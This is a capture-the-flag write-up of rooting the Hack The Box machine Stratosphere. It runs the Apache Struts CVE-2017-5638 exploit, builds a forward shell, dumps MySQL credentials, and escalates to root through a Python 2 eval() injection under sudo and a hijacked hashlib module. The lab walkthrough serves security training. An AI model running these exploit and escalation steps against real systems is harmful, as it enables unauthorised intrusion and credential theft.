Today, I will show how to conquer the stratosphere – i.e. gain root access on the Stratosphere VM available on Hack The Box CTF grounds. To capture the root flag, I will have to overcome the Apache Struts framework to get an RCE vulnerability in a web app, put to practice the rarely used (but still very useful) Forward Shell remote session concept, highjack a library, and find a way to exploit the eval()
function in a treacherous Python script.
The difficulty of this virtual machine is not too high: 5.2 out of the 10. Still, conquering Stratosphere was a true pleasure for me thanks to the possibility to practice in the rarely used Forward Shell technique.
To make my way to the superuser flag, I will have to:
- conduct reconnaissance and collect information on the running software to detect the Apache Struts framework;
- identify weak spots in Struts to attack a web app built on Java EE и Action;
- find a convenient way to interact with the host amid strict filtering of the outbound HTTP traffic;
- discover a weak password to the MySQL database and extract user authentication credentials from it to connect to the target VM via SSH;
- exploit a vulnerable Python app in two ways: (1) by abusing the
eval()
function; and (2) by hijacking an imported module.
Intelligence collection
As usual, I start from scanning open ports with Nmap.
root@kali:~# nmap -n -Pn -sV -sC -oA nmap/stratosphere 10.10.10.64
root@kali:~# cat nmap/stratosphere.nmap
# Nmap 7.70 scan initiated Sat Aug 10 23:56:34 2019 as: nmap -n -v -Pn -sV -sC -oA nmap/initial 10.10.10.64
Nmap scan report for 10.10.10.64
Host is up (0.054s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey:
| 2048 5b:16:37:d4:3c:18:04:15:c4:02:01:0d:db:07:ac:2d (RSA)
| 256 e3:77:7b:2c:23:b0:8d:df:38:35:6c:40:ab:f6:81:50 (ECDSA)
|_ 256 d7:6b:66:9c:19:fc:aa:66:6c:18:7a:cc:b5:87:0e:40 (ED25519)
80/tcp open http
| fingerprint-strings:
| [ ....................................................... ]
| [ ............ [fingerprint string content] ............ ]
| [ ....................................................... ]
| GetRequest:
| [ ....................................................... ]
| [ ................ [response to GET request] ................ ]
| [ ....................................................... ]
| http-methods:
| Supported Methods: GET HEAD POST PUT DELETE OPTIONS
|_ Potentially risky methods: PUT DELETE
|_http-title: Stratosphere
8080/tcp open http-proxy
| fingerprint-strings:
| [ ....................................................... ]
| [ ............ [fingerprint string content] ............ ]
| [ ....................................................... ]
| GetRequest:
| [ ....................................................... ]
| [ ................ [response to GET request] ................ ]
| [ ....................................................... ]
| http-methods:
| Supported Methods: GET HEAD POST PUT DELETE OPTIONS
|_ Potentially risky methods: PUT DELETE
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Stratosphere
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
| [ ....................................................... ]
| [ .... [unidentified service fingerprint on port 80] .... ]
| [ ....................................................... ]
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
| [ ....................................................... ]
| [ ... [unidentified service fingerprint on port 8080] ... ]
| [ ....................................................... ]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug 10 23:56:59 2019 -- 1 IP address (1 host up) scanned in 24.41 seconds
As you can see, Nmap displays a huge amount of information. The greater portion of it is useless (including service fingerprints the scanner failed to identify), and I don’t provide it here. I also omitted responses to GET requests sent by Nmap to the web (i.e. to ports 80 and 8080).
Aside from that, the scheme seems (so far) to be pretty classical:
- Secure Shell is running on port 22; this enables me to identify the OS version: the deb packet revision in the OpenSSH banner clearly indicates that this is a virtual machine with a Debian v.9 distribution (Stretch); and
- an unidentified web server is running on port 80, while an unidentified proxy server is running on port 8080.
As usual, I start from the web.
Web – port 80
I check the web server for vulnerabilities that could be used as entry points to the target machine.
Browser
At http://10.10.10.64
, I see a colorful gradient of the Stratosphere website.
I click the button “GET STARTED NOW” and the server takes me to a page with the following content:
Stratosphere -- Getting Started
Site under construction. Please check back later.
Allegedly, the site is empty because it’s under construction. Following the classical reconnaissance strategy, I scan the servers for dictionary directories.
gobuster
My favorite search tool for default directories is gobuster. This multithreaded brute-forcer is written in Go; this allows to easily drop a binary into the system and run it immediately. The developer maintains gobuster in an actual state and introduces significant changes with every new version. Most importantly, this utility is really fast.
Using the -u
option, I specify the required host and the wordlist to brute-force directory names (one of the standard Kali wordlists). Then I launch the brute-forcing procedure using the -w
option (path to the wordlist) and the -e
option (the expanded mode allowing to print full URLs); for reporting purposes, the output is saved in an external file using the -o
option.
root@kali:~# gobuster dir -u ‘http://10.10.10.64’ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e -o gobuster/stratosphere.gobuster
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.64
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2019/08/11 00:44:24 Starting gobuster
===============================================================
http://10.10.10.64/manager (Status: 302)
http://10.10.10.64/Monitoring (Status: 302)
Progress: 13738 / 220561 (6.23%)^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2019/08/11 00:45:39 Finished
===============================================================
After discovering two promising addresses, I stopped brute-forcing (there is nothing more of interest there, trust me) and started reviewing the output.
/manager
After following the link to http://10.10.10.64/manager
, I see a standard Apache Tomcat server manager. Of course, I have no access to it.
/Monitoring
The page at http://10.10.10.64/Monitoring
is much more interesting.
The SIGN ON and REGISTER buttons are of little use: both of them take me to the message that the site is still under construction.
Apache Struts
The main lead is the Action app shown on the previous screenshot, such apps are associated with the Struts framework.
Struts is used to create web apps based on the Java EE technology – a set of Java rules and specifications describing the architecture of the server platform used to develop apps.
To put it simply, Struts is an implementation of the Model-View-Controller (MVC) concept developed by the Apache Software Foundation. An Action is the client’s request processed by the controller (ActionServlet) on the server. The traffic circulation in the Apache Struts universe is shown on the picture below.
One might say: “That’s great, but how it helps us to penetrate into the system?” The point is that not that long ago, a vulnerability was discovered in the above interaction mechanism. This vulnerability allows to execute arbitrary code on a remote host, and its severity was recognized critical (10 out of the 10 according to the CVSSv2 notation).
Of course, this is not HeartBleed with its 11 out of the 10, but the threat is very serious indeed. Let’s see what searchsploit says in this respect. Two years have passed since the discovery of CVE-2017-5638, and I bet that an elegant exploit to it can be found in Exploit-DB.
Apparently, exploits/linux/webapps/41570.py
is exactly what I need. This Python script was created as a PoC demonstrating the exploitation of CVE-2017-5638. Due to the incorrect exception handling during the processing of a specially crafted malicious Content-Type header, the attacker gets the RCE ability. Let’s test the exploit.
root@kali:~# searchsploit -m exploits/multiple/webapps/42324.py
root@kali:~# python 42324.py http://10.10.10.64/Monitoring/example/Welcome.action id
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: id
uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8)
So, now I can remotely execute commands on the server. Leaping ahead, I must tell that I could escalate my privileges on this virtual machine to user by simply executing commands this way – i.e. without a fully featured reverse shell (like the one used to hack Mischief). Furthermore, it turned out that a reverse shell could not be used on Stratosphere due to the strict filtering of the outbound HTTP traffic. But I am not looking for shortcuts, and this VM became an excellent opportunity to try another way to get a remote session on a vulnerable host: Forward Shell.
Forward Shell
The main idea of this method is that you get the command line by creating a named pipe (let’s call it stdin
) on the target Linux PC. The pipe is created using mkfifo
and an output file (let’s call it stdout
), which is used to save command outputs. Then the /bin/sh
process is bound to stdin
using the tail
utility; the output of this process is redirected to stdout
. The -f
flag of the tail
utility ensures that the command execution process is not interrupted even at end of the input (i.e. when the file reading is completed, and no more commands are received).
For clarity purposes, I will demonstrate on a local machine what I am going to do with Stratosphere.
- In the upper panel, I create a named pipe (
stdin
), bind its input to the/bin/sh
shell, and redirect output to thestdout
file. - In the lower panel, I send commands to
stdin
and read the results of their execution fromstdout
. The output file is cleared after each reading (so that I view only the output of the last instruction).
Important: this scheme of interaction with the terminal session allows to remember the current work directory and execute command on behalf of other PTY processes (my example involves Python).
The concept has a practical implementation – a tiny handmade combat framework named FwdSh3ll. It does approximately the same as I have just demonstrated – but automatically and on a remote PC (commands issued by the user are encoded in Base64 for transmission over the web). Additionally, a parallel thread is launched in the background; it reads stdout
at some interval and returns its content (i.e. the result of the last executed command).
The framework can be downloaded from GitHub.
What is its principal difference between the Forward Shell and well-known Reverse Shell and Bind Shell schemes? The key feature of Forward Shell is that the attacked host does not send the output of executed commands anywhere. As a result, everything seems transparent on the victim’s side: all operations (both the execution of commands and display of their results) are performed locally; accordingly, there is no need to ring the alarm bells and send complaints to iptables. But of course, you must be able to execute the required code on a remote PC; this is the keystone.
Exploring the host
After getting the possibility to execute commands on the target machine, I start exploring it. First of all, I need to find out who am I and what is the kernel version.
stratosphere> whoami
tomcat8
stratosphere> id
uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8)
stratosphere> uname -a
Linux stratosphere 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u2 (2018-02-21) x86_64 GNU/Linux
Expectedly, the commands are executed on behalf of tomcat8
, a low-privileged user who runs the web server.
The kernel version is 4.9.0-6; accordingly, I cannot escalate my privileges using DirtyCow. OK, let’s examine the file system.
stratosphere> ls -la
total 24
drwxr-xr-x 5 root root 4096 Aug 11 08:15 .
drwxr-xr-x 42 root root 4096 Oct 3 2017 ..
lrwxrwxrwx 1 root root 12 Sep 3 2017 conf -> /etc/tomcat8
-rw-r--r-- 1 root root 68 Oct 2 2017 db_connect
drwxr-xr-x 2 tomcat8 tomcat8 4096 Sep 3 2017 lib
lrwxrwxrwx 1 root root 17 Sep 3 2017 logs -> ../../log/tomcat8
drwxr-xr-x 2 root root 4096 Aug 11 08:15 policy
drwxrwxr-x 4 tomcat8 tomcat8 4096 Feb 10 2018 webapps
lrwxrwxrwx 1 root root 19 Sep 3 2017 work -> ../../cache/tomcat8
stratosphere> file *
conf: symbolic link to /etc/tomcat8
db_connect: ASCII text
lib: directory
logs: symbolic link to ../../log/tomcat8
policy: directory
webapps: directory
work: symbolic link to ../../cache/tomcat8
I found db_connect
, a text file containing authentication credentials for connection to the database. Apparently, this is my next checkpoint.
stratosphere> cat db_connect
[ssn]
user=ssn_admin
pass=AWs64@on*&
[users]
user=admin
pass=admin
PrivEsc: tomcat8 → richard
Let’s see what’s inside the MySQL database. The first pair of credentials – ssn_admin:AWs64@on*&
– turned out to be a ‘rabbit hole’ created to distract the attacker’s attention. From that account, you can see only an empty database. So, I try the second pair of credentials.
stratosphere> mysql -u admin -p”admin”
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 8
Server version: 10.1.26-MariaDB-0+deb9u1 Debian 9.1
Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
I log in as admin and request the tables.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| users |
+--------------------+
2 rows in set (0.00 sec)
MariaDB [(none)]> use users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [users]> show tables;
+-----------------+
| Tables_in_users |
+-----------------+
| accounts |
+-----------------+
1 row in set (0.00 sec)
MariaDB [users]> select * from accounts;
+------------------+---------------------------+----------+
| fullName | password | username |
+------------------+---------------------------+----------+
| Richard F. Smith | 9tc*rhKuG5TyXvUJOrE^5CK7k | richard |
+------------------+---------------------------+----------+
1 row in set (0.00 sec)
The users
database contains the accounts
table whose content is of utmost interest to me. To be specific, it stores the authentication data of the user called ‘richard’.
SSH – port 22
Time to connect to the target VM over SSH. For convenience purposes, I transmit the password as a command line argument using sshpass and skip the certificate verification (after all, this is a training machine).
user.txt
Time to grab the user flag.
richard@stratosphere:~$ cat /home/richard/user.txt
e610b298????????????????????????
The test.py
script seems to be of utmost interest. Let’s examine it in more detail.
#!/usr/bin/python3
import hashlib
def question():
q1 = input("Solve: 5af003e100c80923ec04d65933d382cb\n")
md5 = hashlib.md5()
md5.update(q1.encode())
if not md5.hexdigest() == "5af003e100c80923ec04d65933d382cb":
print("Sorry, that's not right")
return
print("You got it!")
q2 = input("Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff\n")
sha1 = hashlib.sha1()
sha1.update(q2.encode())
if not sha1.hexdigest() == 'd24f6fb449855ff42344feff18ee2819033529ff':
print("Nope, that one didn't work...")
return
print("WOW, you're really good at this!")
q3 = input("How about this? 91ae5fc9ecbca9d346225063f23d2bd9\n")
md4 = hashlib.new('md4')
md4.update(q3.encode())
if not md4.hexdigest() == '91ae5fc9ecbca9d346225063f23d2bd9':
print("Yeah, I don't think that's right.")
return
print("OK, OK! I get it. You know how to crack hashes...")
q4 = input("Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083 ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943\n")
blake = hashlib.new('BLAKE2b512')
blake.update(q4.encode())
if not blake.hexdigest() == '9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083 ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943':
print("You were so close! urg... sorry rules are rules.")
return
import os
os.system('/root/success.py')
return
question()
So, the script asks me to reverse a few hashes and promises to execute the file /root/success.py
as a reward. I smell a rat and start looking for an alternative way to exploit this suspicious code.
PrivEsc: richard → root. Method 1
First of all, I notice that the shebang points to python3
. The python
symlink also points to the Python v3 interpreter.
richard@stratosphere:~$ ls -l /usr/bin/python
lrwxrwxrwx 1 root root 16 Feb 11 2018 /usr/bin/python -> /usr/bin/python3
For the second time, I am strongly recommended to run the script using the third version of Python. Isn’t it strange? Keeping in mind who is the file owner, I examine the output of sudo -l
.
richard@stratosphere:~$ sudo -l
Matching Defaults entries for richard on stratosphere:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User richard may run the following commands on stratosphere:
(ALL) NOPASSWD: /usr/bin/python* /home/richard/test.py
It turns out that all users can execute test.py
with escalated privileges using /usr/bin/python*
. The problem is that the ‘star’ symbol gives a free hand to all malefactors who managed to get to this point. As is known, in Python 2, the input()
function is equivalent to the construction eval(raw_input())
. Therefore, if I run test.py
using /usr/bin/python2
with sudo
, I would be able to execute commands on behalf of root. Let’s try this variant.
I check what Python versions are available in the system.
richard@stratosphere:~$ ls -l /usr/bin/python*
lrwxrwxrwx 1 root root 16 Feb 11 2018 /usr/bin/python -> /usr/bin/python3
lrwxrwxrwx 1 root root 9 Jan 24 2017 /usr/bin/python2 -> python2.7
-rwxr-xr-x 1 root root 3779512 Nov 24 2017 /usr/bin/python2.7
lrwxrwxrwx 1 root root 9 Jan 20 2017 /usr/bin/python3 -> python3.5
-rwxr-xr-x 2 root root 4747120 Jan 19 2017 /usr/bin/python3.5
-rwxr-xr-x 2 root root 4747120 Jan 19 2017 /usr/bin/python3.5m
lrwxrwxrwx 1 root root 10 Jan 20 2017 /usr/bin/python3m -> python3.5m
So, I can execute /home/richard/test.py
with Python 2 and send the /bin/bash
string as an argument to the eval()
function (that will, in fact, receive my input) to get a superuser session. To do so, I import the os
module using the global import function (__import__()
) and then call the system()
function with the ‘dot’ operator. This trick should go well because the import function will return the pointer to the object of the above-mentioned os
module.
richard@stratosphere:~$ sudo /usr/bin/python2 ~/test.py
Solve: 5af003e100c80923ec04d65933d382cb
__import__('os').system('/bin/bash')
root@stratosphere:/home/richard# whoami
root
root@stratosphere:/home/richard# id
uid=0(root) gid=0(root) groups=0(root)
root.txt
root@stratosphere:/home/richard# cat /root/root.txt
d41d8cd9????????????????????????
Time has come to expose the liars who had promised to execute the nonexistent file /root/success.py
:
root@stratosphere:/home/richard# ls /root/success.py
ls: cannot access '/root/success.py': No such file or directory
Even though this is not necessary anymore, I am going to crack a few hashes in the epilogue. Just to warm up a little bit.
PrivEsc: richard → root. Method 2
In the very beginning of the source code, the hashlib
library is imported to calculate hash values of the input strings. Let’s hijack this library! To do so, I have to find out the resolution order for paths used to import the modules. This can be done directly from Python.
richard@stratosphere:~$ python -c ‘import sys; print(sys.path)’
['', '/usr/lib/python35.zip', '/usr/lib/python3.5', '/usr/lib/python3.5/plat-x86_64-linux-gnu', '/usr/lib/python3.5/lib-dynload', '/usr/local/lib/python3.5/dist-packages', '/usr/lib/python3/dist-packages']
The empty quotes in the beginning indicate the current work directory (CWD). Great! I create a fake library containing the required payload and name it hashlib.py
. I could create a reverse shell or get a root session similarly to the first method; but for the sake of simplicity, I just want to display the flag on the screen – the idea is clear.
richard@stratosphere:~$ echo ‘import os; os.system(“cat /root/root.txt”)’ > hashlib.py
richard@stratosphere:~$ ls -l *.py
-rw-r--r-- 1 richard richard 43 Aug 11 12:45 hashlib.py
-rwxr-x--- 1 root richard 1507 Mar 19 2018 test.py
Then I run the script with a safe conscience:
richard@stratosphere:~$ sudo /usr/bin/python ~/test.py
d41d8cd9????????????????????????
Solve: 5af003e100c80923ec04d65933d382cb
^C
I clean up all traces of my activities in the system and that’s it.
richard@stratosphere:~$ rm hashlib.py
richard@stratosphere:~$ rm /dev/shm/input* /dev/shm/output*
Epilogue: brute-forcing hashes
Just for fun, I ask my friend John to crack the hashes as test.py
suggests.
Then I feed them to /home/richard/test.py
.
richard@stratosphere:~$ sudo /usr/bin/python ~/test.py
Solve: 5af003e100c80923ec04d65933d382cb
kaybboo!
You got it!
Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff
ninjaabisshinobi
WOW, you're really good at this!
How about this? 91ae5fc9ecbca9d346225063f23d2bd9
legend72
OK, OK! I get it. You know how to crack hashes...
Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083 ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943
Fhero6610
sh: 1: /root/success.py: not found
This reaffirms the earlier conclusion: never trust treacherous Python tests!